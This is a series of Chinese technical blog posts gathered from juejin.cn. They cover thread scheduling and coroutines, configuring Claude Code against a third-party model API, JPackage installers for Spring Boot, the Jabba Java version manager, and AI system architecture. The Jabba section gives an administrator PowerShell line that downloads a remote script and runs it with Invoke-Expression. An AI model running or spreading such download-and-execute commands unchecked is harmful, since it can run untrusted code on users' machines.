┌─────────────────────────────────────────────────────┐
│ t0: 某个事件触发 │
│ │ │
│ ┌────────────────┼───────────────┐ │
│ ▼ ▼ ▼ │
│ ┌─────┐ ┌─────┐ ┌─────┐ │
│ │100个│ │50个 │ │30个 │ │
│ │HTTP │ │定时 │ │Kafka│ │
│ │请求 │ │任务 │ │消息 │ │
│ └──┬──┘ └──┬──┘ └──┬──┘ │
│ │ │ │ │
│ └───────────────┼───────────────┘ │
│ ▼ │
│ 8 个 CPU 核心开始疯狂切换 │
│ │ │
│ ▼ │
│ 延迟飙升,GC 停顿,服务抖动 │
└─────────────────────────────────────────────────────┘
这种"线程风暴"会导致:
- 所有请求的延迟同时上升
- P99 延迟剧烈波动
- 可能触发超时和级联故障
缓解策略
策略一:错峰调度
让定时任务随机分散,而不是整点触发:
// 不好:所有实例同时执行
@Scheduled(cron = "0 0 * * * *") // 每小时整点
// 更好:启动时计算随机偏移
int jitter = random.nextInt(60);
@Scheduled(cron = "0 " + jitter + " * * * *")
策略二:为关键线程提升优先级
确保 CPU 密集型的核心工作线程能优先获得调度:
// 关键业务线程
thread.setPriority(Thread.MAX_PRIORITY); // Java: 1-10,默认 5
// 或者在 Linux 上使用 nice 值
// nice -n -5 java -jar app.jar
// C/C++:使用实时调度策略
struct sched_param param;
param.sched_priority = 50; // 实时优先级
pthread_setschedparam(thread, SCHED_FIFO, ¶m);
策略三:CPU 绑定(CPU Affinity)
将关键线程绑定到特定 CPU,避免缓存失效:
// 使用 JNA 或 JNI 调用系统 API
// Linux: sched_setaffinity()
// 或使用 Disruptor 等框架内置的支持
// C: 将线程绑定到 CPU 0 和 1
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(0, &cpuset);
CPU_SET(1, &cpuset);
pthread_setaffinity_np(thread, sizeof(cpuset), &cpuset);
策略四:限制并发
使用信号量或令牌桶限制同时运行的线程数:
Semaphore semaphore = new Semaphore(cpuCores * 2);
void process(Request request) {
semaphore.acquire();
try {
doWork(request);
} finally {
semaphore.release();
}
}
六、协程时代:换汤不换药?
Go 语言的 goroutine、Kotlin 的协程、Java 的虚拟线程(Project Loom)……协程似乎成了并发的银弹。
"创建一百万个协程"的 demo 随处可见,这是否意味着我们不用再关心"数量"问题了?
协程的本质
协程(或用户态线程、绿色线程)本质是把调度权从操作系统收回到用户态:
┌───────────────────────────────────────────────────┐
│ 传统线程 │
│ │
│ 线程1 线程2 线程3 线程4 ... 线程1000 │
│ │ │ │ │ │ │
│ └──────┴──────┴──────┴───────────┘ │
│ │ │
│ 操作系统调度器 │
│ │ │
│ ┌──────┬──────┬──────┬──────────┐ │
│ ▼ ▼ ▼ ▼ ▼ │
│ CPU0 CPU1 CPU2 CPU3 ... CPU7 │
└───────────────────────────────────────────────────┘
┌───────────────────────────────────────────────────┐
│ 协程模型 │
│ │
│ 协程1 协程2 协程3 ... 协程1000000 │
│ │ │ │ │ │
│ └──────┴──────┴────────────┘ │
│ │ │
│ 语言运行时调度器 │
│ │ │
│ ┌──────────────┼──────────────┐ │
│ ▼ ▼ ▼ │
│ 线程1 线程2 ... 线程N │
│ │ │ │ │
│ └──────────────┼──────────────┘ │
│ │ │
│ 操作系统调度器 │
│ │ │
│ ┌───────┴───────┐ │
│ ▼ ▼ │
│ CPU0 ... CPU7 │
└───────────────────────────────────────────────────┘
协程的优势在于:
- 创建开销极小:Go 的 goroutine 初始栈只有 2KB
- 切换开销极小:用户态切换,不需要进入内核
- 调度更智能:运行时了解协程在做什么(如等待 channel)
但物理规则依然适用
协程改变的是切换效率,不是 CPU 核心数。
// 100 万个协程同时做 CPU 密集计算?
for i := 0; i < 1000000; i++ {
go func() {
for {
// 纯计算,没有 I/O
heavyComputation()
}
}()
}
// 结果:并不会比 GOMAXPROCS 个协程更快
核心洞察:如果协程在执行时不主动让出(通过 I/O、channel、sleep 等),它就和操作系统线程没有本质区别。
协程的正确心智模型
| 操作类型 | 协程行为 | 考量 |
|---|---|---|
| I/O 等待 | 挂起,让出执行权 | 可以有百万并发 |
| Channel 等待 | 挂起,让出执行权 | 可以有百万并发 |
| CPU 计算 | 持续占用线程 | 同时计算数 ≈ GOMAXPROCS |
| 调用 C 代码 | 可能阻塞线程 | 可能需要更多线程 |
Go 运行时会自动调整实际的操作系统线程数,但 GOMAXPROCS(默认等于 CPU 核数)限制了同时执行的线程数。
// 正确用法:百万协程处理 I/O
for i := 0; i < 1000000; i++ {
go handleConnection(conn[i]) // 每个协程大部分时间在等待网络
}
// 需要注意:CPU 密集型任务
pool := make(chan struct{}, runtime.NumCPU()) // 信号量
for task := range tasks {
pool <- struct{}{} // 获取令牌
go func(t Task) {
defer func() { <-pool }() // 释放令牌
cpuIntensiveWork(t) // 同时只有 NumCPU 个在计算
}(task)
}
Java 虚拟线程的启示
Java 21 引入的虚拟线程(Virtual Threads)同样遵循这个逻辑:
// 可以创建大量虚拟线程处理阻塞 I/O
try (var executor = Executors.newVirtualThreadPerTaskExecutor()) {
for (int i = 0; i < 100000; i++) {
executor.submit(() -> {
// 阻塞 I/O 会自动让出载体线程
String result = httpClient.send(request);
process(result);
});
}
}
// 但如果是 CPU 密集型...
executor.submit(() -> {
// 这个虚拟线程会持续占用载体线程
while (true) {
computePi(); // 其他虚拟线程饿死
}
});
七、实践清单
让我们把讨论转化为可操作的检查清单:
启动前问自己
□ 这个线程/协程的主要工作是什么?
- [ ] CPU 计算
- [ ] I/O 等待
- [ ] 故障隔离
- [ ] 代码组织
□ 它会阻塞吗?阻塞多久?
□ 它需要和其他线程竞争资源吗?
□ 它的生命周期是什么?
- [ ] 与应用相同(后台线程)
- [ ] 与请求相同(per-request)
- [ ] 执行完任务就结束(fire-and-forget)
配置建议速查
| 场景 | 线程数建议 | 关键考量 |
|---|---|---|
| 纯 CPU 计算 | = 核数 | 更多无益 |
| CPU 计算 + 偶发 I/O | = 核数 + 1~2 | 应对偶发阻塞 |
| I/O 密集(非阻塞) | 核数或更少 | 事件循环处理并发 |
| I/O 密集(阻塞) | 取决于 I/O 时间比例 | 用公式估算,压测验证 |
| 舱壁隔离 | 每依赖一个独立池 | 池大小取决于下游容量 |
| 辅助功能 | 每职责 1 个 | 确保不争抢 CPU |
监控指标
上线后,持续关注:
线程状态分布
├── RUNNABLE(运行中) → 应该 ≈ CPU 核数
├── BLOCKED(锁等待) → 过高说明有锁竞争
├── WAITING(条件等待) → I/O 线程正常状态
└── TIMED_WAITING(超时等待)→ sleep 或 poll
上下文切换率
└── vmstat, pidstat -w → 每秒切换数
线程创建率
└── 高频创建说明需要用池
CPU 使用率
└── 高于预期 → 检查是否在自旋
└── 低于预期 → 检查是否在等锁
八、总结
回到最初的问题:你的程序应该启动多少线程?
答案是:取决于这些线程要做什么。
- 如果是为了并行计算,线程数应该接近 CPU 核心数
- 如果是为了处理阻塞 I/O,优先考虑非阻塞方案;如果必须阻塞,根据 I/O 时间比例估算
- 如果是为了故障隔离,为每个风险域分配独立的资源边界
- 如果是为了简化代码,确保这些线程不会争抢关键资源
"线程数 = CPU 核心数"是一个好的起点,但不是终点。理解你的工作负载,理解线程的真实开销,理解你想通过多线程解决的问题——这比任何公式都重要。
最后,无论你做出什么选择,记得压测验证。真实世界的表现总是比理论分析更复杂,而性能问题往往藏在那些"理论上应该没问题"的地方。
附录:常见框架的默认配置参考
了解你正在使用的框架的默认行为,有助于做出更好的决策。
Web 服务器
| 框架/服务器 | 默认线程配置 | 说明 |
|---|---|---|
| Tomcat | 最大 200,最小 10 | 每个请求一个线程 |
| Jetty | 最大 200 | QueuedThreadPool |
| Undertow | 核数 × 8(I/O)+ 核数(Worker) | 非阻塞架构 |
| Netty | 核数 × 2(EventLoop) | 事件驱动,少量线程 |
| Go net/http | 无限制(goroutine) | 每连接一个 goroutine |
| Node.js | 1(主线程)+ 4(libuv 线程池) | 单线程事件循环 |
| Nginx | worker 数通常 = 核数 | 每个 worker 单线程事件循环 |
数据库连接池
| 连接池 | 默认配置 | 推荐起点 |
|---|---|---|
| HikariCP | 最大 10 | 核数 × 2 + 磁盘数 |
| Druid | 最大 8 | 根据并发量调整 |
| c3p0 | 最大 15 | 通常偏保守 |
| pgBouncer | 取决于模式 | transaction 模式更高效 |
HikariCP 作者给出的经验公式:
连接数 = ((核心数 × 2) + 有效磁盘数)
对于大多数场景,10-20 个连接足以支撑相当高的吞吐量。更多的连接往往意味着更多的锁竞争和上下文切换,反而降低性能。
消息队列客户端
| 客户端 | 默认配置 | 注意事项 |
|---|---|---|
| Kafka Consumer | 每分区一个线程 | 分区数决定并行度上限 |
| RabbitMQ Consumer | 可配置 prefetch | 控制未确认消息数 |
| Redis (Lettuce) | 共享连接 + 核数个事件线程 | 非阻塞,高效 |
| Redis (Jedis) | 连接池,每操作占用一个 | 阻塞模型 |
线程池最佳实践
// 推荐:根据任务类型创建不同的线程池
// 而不是所有任务共享一个
// CPU 密集型任务
ExecutorService cpuPool = Executors.newFixedThreadPool(
Runtime.getRuntime().availableProcessors(),
new ThreadFactoryBuilder().setNameFormat("cpu-worker-%d").build()
);
// I/O 密集型任务
ExecutorService ioPool = new ThreadPoolExecutor(
corePoolSize, // 核心线程数
maxPoolSize, // 最大线程数
60, TimeUnit.SECONDS, // 空闲线程存活时间
new LinkedBlockingQueue<>(queueCapacity), // 有界队列!
new ThreadFactoryBuilder().setNameFormat("io-worker-%d").build(),
new CallerRunsPolicy() // 拒绝策略:让调用者自己执行
);
// 定时任务
ScheduledExecutorService scheduler = Executors.newScheduledThreadPool(
2, // 通常不需要很多
new ThreadFactoryBuilder().setNameFormat("scheduler-%d").build()
);
关键提醒:永远使用有界队列和合理的拒绝策略。无界队列在高负载下会导致内存溢出。
来源:juejin.cn/post/7607636614357663770
从安装到实测:基于 Claude Code + GLM-4.7 的前端生成与评测实战
引言
近一年来,代码生成类工具逐渐从“写几行示例代码”走向“完整功能交付”,但真正落到工程实践时,很多工具仍停留在 Demo 阶段:要么跑不起来,要么改动成本过高。 本次评测的核心目标并不是追求“炫技”,而是站在开发者真实使用场景出发,验证一套组合方案是否具备以下能力:
- 是否能在本地环境中快速跑通
- 是否能端到端生成可演示、可交付的前端成果
- 是否减少重复劳动,而不是制造新的维护负担
因此,本文选择了 Claude Code + 蓝耘 MaaS 平台 这一组合,从命令行工具****接入开始,结合多个真实前端需求案例,对模型在网页应用、小游戏以及 3D 可视化等场景下的表现进行实测分析。 评测重点不在“模型参数”或“理论能力”,而在于:它到底能不能帮开发者省时间、少踩坑。

最大输出和最大输入一比一,编码能力放在下面了,个人觉得是挑不出毛病的好吧。不信你试试
一、命令行使用 Claude Code(安装与配置)
步骤一:安装 Claude Code(命令行)
前提
- Node.js ≥ 18(建议使用 nvm 管理版本以避免权限问题)。
- macOS:推荐用 nvm 或 Homebrew 安装 Node.js,不建议直接双击 pkg 安装(可能有权限问题)。
- Windows:请先安装 Git for Windows。
安装
npm install -g @anthropic-ai/claude-code
安装完成后验证:
claude --version

步骤二:配置蓝耘MaaS平台
1、注册 / 登录:访问**蓝耘MaaS平台**,完成账号注册并登录。
2、在「API KEY 管理」中创建 API Key,并复制备用。

在本机设置环境变量(推荐方式:编辑配置文件)
- macOS / Linux:
~/.claude/settings.json - Windows:
%USERPROFILE%/.claude/settings.json
示例 settings.json(请替换your_lanyun_maas_api_key):
{
"env": {
"ANTHROPIC_AUTH_TOKEN": "your_lanyun_maas_api_key",
"ANTHROPIC_BASE_URL": "https://maas-api.lanyun.net/anthropic",
"API_TIMEOUT_MS": "3000000",
"CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC": 1,
"ANTHROPIC_DEFAULT_HAIKU_MODEL": "/maas/deepseek-ai/DeepSeek-V3.2",
"ANTHROPIC_DEFAULT_SONNET_MODEL": "/maas/deepseek-ai/DeepSeek-V3.2",
"ANTHROPIC_DEFAULT_OPUS_MODEL": "/maas/deepseek-ai/DeepSeek-V3.2"
}
}

- 同时创建(或确认)
~/.claude.json:
{
"hasCompletedOnboarding": true
}


生效提示
- 配置完成后请打开一个新的终端窗口以载入新的环境变量。
- 启动
claude,首次会询问是否使用该 API key(选择Yes),并请在第一次访问时同意信任工作目录(允许读取文件以便代码功能)。

步骤三:常见排查
- 若手动修改
~/.claude/settings.json后不生效:
- 关闭所有 Claude Code 窗口,重新打开新的终端。
- 若仍不生效,尝试删除该文件并重新生成配置(注意备份原文件)。
- 检查 JSON 格式是否正确(可用在线 JSON 校验工具)。
- 检查版本与更新:
claude --version
claude update
二、编码工具中使用 claude-code:三个端到端案例(含提示与实测评价)
每个案例先给出“需求 + 提示词”示例,然后给出对模型产出(代码/效果)的实测评价,评价尽量贴近工程实践:是否能直接运行、需要手工修改的点、功能完整性、性能与安全注意项。
案例 1:交互式个人血压记录网页 — 前端端到端生成
需求:希望 GLM-4.7 能够生成一个简单的个人血压记录网页应用,包括录入血压数据的前端界面和一个数据可视化大屏展示页面,要求界面美观,且支持单人登录功能。
提示词:我们向 GLM-4.7 输入了如下的自然语言提示:
请用 HTML、CSS 和 JavaScript 创建一个完整的个人血压记录网页应用。要求包括:1) 用户登录界面;2) 血压数据录入表单(收缩压、舒张压、测量日期);3) 数据可视化大屏界面,以图表展示历史血压记录;4) 整体界面风格现代简洁,配色协调美观。5) 将前端代码与样式、脚本整合在一个 HTML 文件中,方便直接运行。


实测评价(工程视角)
- 可运行性:生成的单文件 HTML 通常能在本地直接打开并运行,图表(如用 Chart.js)能正常渲染——基本可直接跑通。
- 需要人工补充/注意点:持久化通常仅用
localStorage,真实生产需后端与加密;登录为前端模拟(不安全),若要求真登录需接入后端 API 与认证方案。 - 代码质量:结构清晰但注释与边界检查(表单验证、异常处理)需补充;样式可直接用但对响应式与无障碍要进一步优化。
- 总结:非常适合原型与内部演示;若要上线需补后端、认证与输入校验、数据导出等工程工作。
案例 2:Web 双人对战小游戏(Joy-Con 风格)
需求:开发一个基于 Web 的双人对战小游戏,界面风格模仿 Nintendo Switch 主机的 Joy-Con 手柄,包括左右两个虚拟手柄和中间的游戏屏幕。要求实现基本的游戏逻辑和简单的控制功能。
提示词:我们向 GLM-4.7 输入了如下提示:
请用 HTML5 Canvas 和 JavaScript 编写一个双人对战小游戏。界面要求模仿 Nintendo Switch 的 Joy-Con 手柄:左侧蓝色手柄,右侧红色手柄,中间为游戏屏幕。玩家 1 使用键盘 A/D 移动,J 攻击,K 跳跃;玩家 2 使用键盘 U/I/O 分别释放技能。游戏要求有基本的角色移动和攻击判定逻辑,界面风格统一美观。请将所有代码整合在一个 HTML 文件中,确保在浏览器中打开即可运行。

实测评价(工程视角)
- 可运行性:模型生成的 Canvas 游戏通常包含主循环、碰撞/判定的基本实现,能够进行本地试玩;帧率在普通浏览器和单页面逻辑下表现正常。
- 需要人工补充/注意点:物理判定、碰撞响应和输入去抖(debounce)常是“粗糙实现”,需手动修正以避免卡顿或误判;网络对战未实现(仅本地双人)。
- 代码质量:逻辑上可读,但没有模块化(全部放在全局),不利于维护;建议拆分为模块或使用简易引擎封装。
- 总结:适合快速原型与教学演示;若做成产品需重构输入处理、物理/判定逻辑、以及添加资源管理与关卡数据。
案例 3:前端可视化组件生成
需求:创建一个基于 Three.js 的 3D 场景,包含一个华丽的宝塔和周围盛开的樱花树,场景要求视觉精美、结构清晰,且支持用户通过鼠标或手势进行交互控制(如旋转场景、缩放视图)。
提示词:我们向 GLM-4.7 输入了如下提示:
请用 Three.js 编写一个包含宝塔和樱花树的 3D 场景。要求:1) 宝塔位于场景中央,装饰华丽;2) 周围环绕盛开的樱花树,营造花园氛围;3) 场景使用等轴测或俯视视角,光影柔和,有适当的环境光和定向光以产生投影;4) 支持鼠标拖动旋转场景和滚轮缩放查看;5) 所有代码整合在一个 HTML 文件中,使用 CDN 引入 Three.js 及其依赖,确保直接打开即可运行。

实测评价(工程视角)
- 可运行性:多数生成结果能在现代浏览器中打开并展示场景(依赖 CDN 的 Three.js),基础交互(OrbitControls)通常可用。
- 需要人工补充/注意点:模型与细节(如樱花树的粒子/贴图)可能是简单几何或贴图替代,若追求视觉精细需要自行替换高质量模型/贴图与烘焙光照或使用 PBR 材质;阴影与性能在低端设备上需做 LOD/简化处理。
- 代码质量:示例代码多为教学风格,未必包含资源加载进度管理与错误处理;建议加上纹理压缩、异步加载与内存释放逻辑。
- 总结:适合演示级视觉效果与交互交付;商业级视觉需投入美术资源并改造渲染管线与性能优化。
三、补充建议(快速 checklist)
- 环境:Node.js 用 nvm 管理、macOS 权限使用 sudo 谨慎;Windows 使用 PowerShell / Git Bash 测试命令。
- 配置:编辑
~/.claude/settings.json时注意 JSON 语法(逗号、引号、转义);每次修改后重启终端。 - 模型选择:通过
~/.claude/settings.json修改ANTHROPIC_DEFAULT_*_MODEL字段来切换模型;切换后启动claude并在交互中用/status确认。 - 安全/上线:所有“示例仅前端”场景上线前必须接入安全认证、后端存储与输入验证(避免注入与隐私泄露)。
总结
从本次实际使用和多个案例的结果来看,Claude Code 在接入蓝耘 MaaS 后,已经具备“工程可用级”的生成能力,尤其在以下几个方面表现比较稳定:
- 端到端能力明确:在单文件 HTML、前端 Demo、Canvas 游戏、Three.js 场景等任务中,生成结果大多可直接运行,减少了大量“拼代码”的前期工作。
- 适合作为原型与验证工具:非常适合用在需求验证、内部演示、方案评审和教学场景中,而不是一开始就手写全部代码。
- 开发者心智成本低:命令行方式接入,不改变现有工作流,比网页对话式工具更符合日常编码习惯。
当然,也需要客观看待它的边界:
- 生成代码在安全性、模块化、性能优化方面仍需要人工介入;
- 登录、数据存储、多人协作等生产级能力仍需配合后端体系完善;
- 更复杂的项目仍然离不开开发者的架构设计与工程判断。
整体来看,这套方案的价值并不在于“替代程序员”,而在于把开发者从重复、低价值的样板工作中解放出来,让时间更多地投入到业务逻辑、架构设计和体验打磨上。
如果你的目标是: 更快做出可运行的东西,而不是从零写样板代码,那么 Claude Code + 蓝耘 MaaS,已经是一个值得放进工具箱里的选项。
来源:juejin.cn/post/7607358297458196480
Spring Boot + JPackage:构建独立安装包!
前言
从 JDK 14 开始,Java 官方引入了 JPackage** 工具(在 JDK 16 正式成为标准功能),它能够将 Java 应用打包成特定平台的原生安装包,自带定制化的 JRE 运行环境。这意味着用户无需提前安装 Java 环境,双击安装包即可完成应用部署,极大地简化了交付流程。
本文将介绍如何使用 JPackage 工具将 Spring Boot 项目打包成 Windows、macOS 或 Linux 平台的原生安装包。
一、JPackage 简介
1.1 什么是 JPackage
JPackage 是 JDK 自带的打包工具,位于 $JAVA_HOME/bin 目录下。它的核心功能是:
生成平台原生安装包:Windows 的 .exe/.msi、macOS 的 .dmg/.pkg、Linux 的 .deb/.rpm
自定义 JRE:使用 jlink 工具裁剪 JDK,仅打包应用所需的模块,大幅减小安装包体积
简化部署:用户无需预装 Java 环境,安装包自带运行时
1.2 JPackage 的优势
| 传统部署方式 | JPackage 方式 |
|---|---|
| 需要预装 JRE/JDK | 自带 JRE,无需额外安装 |
| 环境版本可能不匹配 | 绑定特定 JRE 版本,环境一致 |
| 手动编写启动脚本 | 自动生成启动器 |
| 跨平台需要多套脚本 | 一键生成各平台安装包 |
二、环境准备
2.1 JDK 版本要求
推荐使用 JDK 17 或更高版本(JPackage 在 JDK 16 才成为标准功能,JDK 17 是 LTS 版本)
确认 JPackage 可用:
jpackage --version
2.2 平台特定工具
根据目标操作系统,需要安装对应的打包工具:
Windows
WiX Toolset** 3.11+(用于生成 .msi 安装包) 下载地址:wixtoolset.org/ 安装后将 bin 目录添加到系统环境变量 PATH
macOS
Xcode** 命令行工具(用于生成 .dmg/.pkg)
xcode-select --install
Linux
Debian/Ubuntu:安装 fakeroot
sudo apt-get install fakeroot
RedHat/CentOS:安装 rpm-build
sudo yum install rpm-build
三、Spring Boot 项目准备
3.1 示例项目结构
假设我们有一个标准的 Spring Boot 项目:
my-springboot-app/
├── src/
│ └── main/
│ ├── java/
│ └── resources/
├── pom.xml
└── target/
└── my-app-1.0.0.jar
3.2 构建可执行 JAR
首先使用 Maven 或 Gradle 构建项目:
## Maven
mvn clean package
## Gradle
gradle clean build
确保生成的 JAR 包是可执行的(Spring Boot 默认打包方式)。
四、使用 JPackage 打包
4.1 基础打包命令
以下是一个基础的 JPackage 命令示例(以 Windows 为例):
jpackage \
--input target \
--name MySpringBootApp \
--main-jar my-app-1.0.0.jar \
--main-class org.springframework.boot.loader.JarLauncher \
--type msi \
--app-version 1.0.0 \
--vendor "我的公司" \
--description "基于 Spring Boot 的企业级应用" \
--icon src/main/resources/app-icon.ico \
--win-dir-chooser \
--win-menu \
--win-shortcut
参数说明
| 参数 | 说明 |
|---|---|
--input | 输入目录,包含 JAR 包和依赖 |
--name | 应用名称 |
--main-jar | 主 JAR 包文件名 |
--main-class | 主类(Spring Boot 使用 JarLauncher) |
--type | 安装包类型(msi/exe/dmg/pkg/deb/rpm) |
--app-version | 应用版本号 |
--icon | 应用图标(Windows 用 .ico,macOS 用 .icns) |
--win-dir-chooser | 允许用户选择安装目录 |
--win-menu | 创建开始菜单项 |
--win-shortcut | 创建桌面快捷方式 |
4.2 自定义 JRE(使用 jlink)
为了减小安装包体积,可以使用 jlink 裁剪 JRE,仅包含必要的模块。
步骤 1:查找应用依赖的模块
jdeps --list-deps target/my-app-1.0.0.jar
输出示例:
java.base
java.logging
java.sql
java.naming
java.desktop
...
步骤 2:使用 jlink 创建自定义 JRE
jlink \
--add-modules java.base,java.logging,java.sql,java.naming,java.desktop,java.xml,java.management \
--output custom-jre \
--strip-debug \
--no-header-files \
--no-man-pages \
--compress=2
步骤 3:使用自定义 JRE 打包
jpackage \
--input target \
--name MySpringBootApp \
--main-jar my-app-1.0.0.jar \
--main-class org.springframework.boot.loader.JarLauncher \
--type msi \
--runtime-image custom-jre \
--app-version 1.0.0 \
--vendor "我的公司"
注意:Spring Boot 应用通常依赖较多模块,建议先不裁剪 JRE,确保功能正常后再优化。
五、不同平台的打包示例
5.1 Windows 平台(MSI)
jpackage \
--input target \
--name MyApp \
--main-jar my-app-1.0.0.jar \
--main-class org.springframework.boot.loader.JarLauncher \
--type msi \
--app-version 1.0.0 \
--icon src/main/resources/app.ico \
--win-dir-chooser \
--win-menu \
--win-shortcut \
--win-menu-group "我的应用"
5.2 macOS 平台(DMG)
jpackage \
--input target \
--name MyApp \
--main-jar my-app-1.0.0.jar \
--main-class org.springframework.boot.loader.JarLauncher \
--type dmg \
--app-version 1.0.0 \
--icon src/main/resources/app.icns \
--mac-package-name "com.mycompany.myapp" \
--mac-package-identifier "com.mycompany.myapp"
5.3 Linux 平台(DEB)
jpackage \
--input target \
--name myapp \
--main-jar my-app-1.0.0.jar \
--main-class org.springframework.boot.loader.JarLauncher \
--type deb \
--app-version 1.0.0 \
--icon src/main/resources/app.png \
--linux-shortcut \
--linux-menu-group "Development"
六、集成到 Maven 构建流程
为了自动化打包流程,可以将 JPackage 命令集成到 Maven 的 pom.xml 中。
6.1 使用 exec-maven-plugin
在 pom.xml 中添加以下插件配置:
<build>
<plugins>
<!-- Spring Boot Maven 插件 -->
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
<!-- JPackage 打包插件 -->
<plugin>
<groupId>org.codehaus.mojo</groupId>
<artifactId>exec-maven-plugin</artifactId>
<version>3.1.0</version>
<executions>
<execution>
<id>jpackage</id>
<phase>package</phase>
<goals>
<goal>exec</goal>
</goals>
<configuration>
<executable>jpackage</executable>
<arguments>
<argument>--input</argument>
<argument>target</argument>
<argument>--name</argument>
<argument>MySpringBootApp</argument>
<argument>--main-jar</argument>
<argument>${project.build.finalName}.jar</argument>
<argument>--main-class</argument>
<argument>org.springframework.boot.loader.JarLauncher</argument>
<argument>--type</argument>
<argument>msi</argument>
<argument>--app-version</argument>
<argument>${project.version}</argument>
<argument>--vendor</argument>
<argument>我的公司</argument>
<argument>--win-dir-chooser</argument>
<argument>--win-menu</argument>
<argument>--win-shortcut</argument>
</arguments>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
6.2 执行构建
mvn clean package
构建完成后,安装包将生成在项目根目录下。
来源:juejin.cn/post/7609677415800373288
Java 版本管理工具:Jabba
shyiko/jabba: (cross-platform) Java Version Manager
Jabba 是专门为 Java 设计的版本管理工具,基于 Go 开发,体积小、速度快,对 Windows 原生支持非常好,无需依赖 WSL 或其他复杂环境,是纯 Windows 下管理 Java 版本的首选。
详细使用步骤(Windows PowerShell):
- 安装 Jabba
# 以管理员身份打开PowerShell,执行安装命令
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-Expression (Invoke-WebRequest -Uri https://github.com/shyiko/jabba/raw/master/install.ps1 -UseBasicParsing).Content
安装完成后重启 PowerShell,验证是否安装成功:
jabba --version
- 核心使用命令
# 列出所有可安装的Java版本
jabba ls-remote
# 安装指定版本(以zulu@1.17.0-0为例)
jabba install zulu@1.17.0-0
# 临时切换当前终端的Java版本
jabba use zulu@1.17.0-0
# 设置全局默认Java版本(永久生效)
jabba alias default zulu@1.17.0-0
# 查看已安装的版本
jabba ls
# 卸载不需要的版本
jabba uninstall zulu@1.17.0-0
来源:juejin.cn/post/7608102583497048073
AI 系统架构
AI 系统看起来很复杂,但核心可以压缩成三句话:
- 尽量少搬数据:很多时候不是算不动,而是数据搬运太慢。
- 尽量提高有效计算密度:让硬件更多时间在做有价值的乘加计算。
- 尽量重叠计算与通信:训练和推理都要避免“设备空等”。
换句话说,AI 性能问题本质上是 计算(Compute)+ 访存(Memory)+ 通信(Communication) 的协同问题。
1. AI 系统栈
| 层级 | 主要职责 | 典型问题 | 常见关键词 |
|---|---|---|---|
| L7 AI 应用层 | 提供用户可见功能 | 回答是否准确、体验是否流畅 | Chat、Copilot、推荐 |
| L6 业务编排层 | 把业务逻辑组织成可执行流程 | 如何用最少 token 获得最好结果 | Prompt、RAG、Agent |
| L5 模型服务层 | 把模型能力稳定对外提供 | 如何高可用、可扩展、可治理 | 网关、限流、灰度、A/B |
| L4 推理引擎层 | 把请求高效变成 token 输出 | 如何降 TTFT/TPOT、提并发 | Batch、KV Cache、PagedAttention |
| L3 训练框架层 | 训练与微调模型 | 如何在多卡多机稳定收敛 | Autograd、DDP/FSDP、计算图 |
| L2 编译运行时层 | 把模型算子变成高效程序 | 如何逼近硬件峰值性能 | IR、Fusion、Tiling、CUDA |
| L1 硬件系统层 | 提供真实算力与带宽 | 算力/带宽/通信瓶颈在哪里 | Tensor Core、HBM、NVLink |
2. AI 硬件与体系结构:算力的物理根基
2.1 CPU、GPU、ASIC 的职责划分
- CPU(中央处理器):通用控制能力强,擅长复杂分支和系统调度。
- GPU(图形处理器):并行吞吐高,擅长大规模矩阵乘法。
- ASIC(专用芯片):针对 AI 运算固化电路(如 TPU/NPU),能效高但通用性低。
类比:
- CPU 像“总指挥 + 少量专家”。
- GPU 像“超大规模流水线工人”。
- ASIC 像“只做某几类工序但极快的专机”。
2.2 GPU 的执行单位:SIMT、Warp、Block
- SIMT(Single Instruction Multiple Threads):同一程序由大量线程并发执行。
- Warp:GPU 调度基本单位(NVIDIA 常见 32 线程)。
- Thread Block(线程块):多个 warp 组成,可共享片上内存。
关键性能点:
- Warp Divergence(分支发散):同一 warp 走不同分支会串行执行,吞吐下降。
- Coalesced Access(内存合并访问):连续地址访问可减少内存事务。
- Occupancy(占用率):同时驻留 SM 的线程比例;不是越高越好,要平衡寄存器压力。
2.3 内存层级决定“真实速度”
从快到慢大致是:
- Register(寄存器)
- Shared Memory / SRAM(共享内存/片上存储)
- L2 Cache
- HBM(高带宽显存)
- Host Memory(主机内存)
- Remote Memory(远端节点)
高性能 kernel 的共同目标:尽量让热点数据停留在更靠近计算单元的层级。
2.4 互联与通信:单机多卡到多机集群
- PCIe:通用互联,带宽相对有限。
- NVLink/NVSwitch:GPU 间高带宽低延迟互联。
- InfiniBand + RDMA:多机高性能网络。
训练常见通信原语:
- All-Reduce:聚合并广播(常用于梯度同步)。
- All-Gather:把各卡分片收集到每卡。
- Reduce-Scatter:先归约再分发(常与 All-Gather 配合)。
3. AI 编译与计算架构:模型代码如何变成硬件指令
3.1 为什么需要 AI 编译器
如果每个框架都手写每种芯片的底层代码,会形成 N 框架 × M 硬件 组合爆炸。AI 编译器通过中间表示把问题变成:
前端框架 -> IR(中间表示) -> 后端硬件
代表系统:TVM、XLA、TensorRT、MLIR 生态。
3.2 多级 IR(Intermediate Representation,中间表示)
常见分层:
- High-level IR(高层图 IR):表达算子依赖关系,便于图级优化。
- Tensor/Loop IR(张量或循环 IR):表达循环、访存、布局,便于调度优化。
- Low-level IR(低层 IR):接近目标指令(如 PTX、LLVM IR)。
3.3 前端优化(硬件无关)
- Constant Folding(常量折叠):编译期算掉常量表达式。
- Dead Code Elimination(死代码消除):删掉无用分支。
- Operator Fusion(算子融合):合并多个小算子,减少中间读写。
- Shape Inference(形状推导):提前推断维度,减少运行期开销。
例子:
MatMul -> Add -> GELU 三个 kernel 可以融合为一个 fused kernel,减少两次中间张量落地。
3.4 后端优化(硬件相关)
- Tiling(分块):把大矩阵切小块,提升缓存命中。
- Vectorization(向量化):一条指令并行处理多个元素。
- Unrolling(循环展开):减少分支跳转和调度开销。
- Double Buffering(双缓冲):计算当前块时预取下一块,隐藏访存延迟。
- Auto-Tuning(自动调优):自动搜索 block size、tile size、pipeline 深度。
3.5 CUDA 编程模型(理解“手写 kernel 为何快”)
CUDA 核心概念:
- Grid(网格):一次 kernel launch 的全体线程块集合。
- Block(线程块):可共享 shared memory 的线程组。
- Thread(线程):最小执行单元。
手写 kernel 价值高的场景:
- 小算子链可融合。
- 特殊 shape(如超长序列)导致通用库不最优。
- 延迟极其敏感链路(在线推理)。
4. AI 框架核心模块:训练引擎的心脏
4.1 Tensor 与计算图
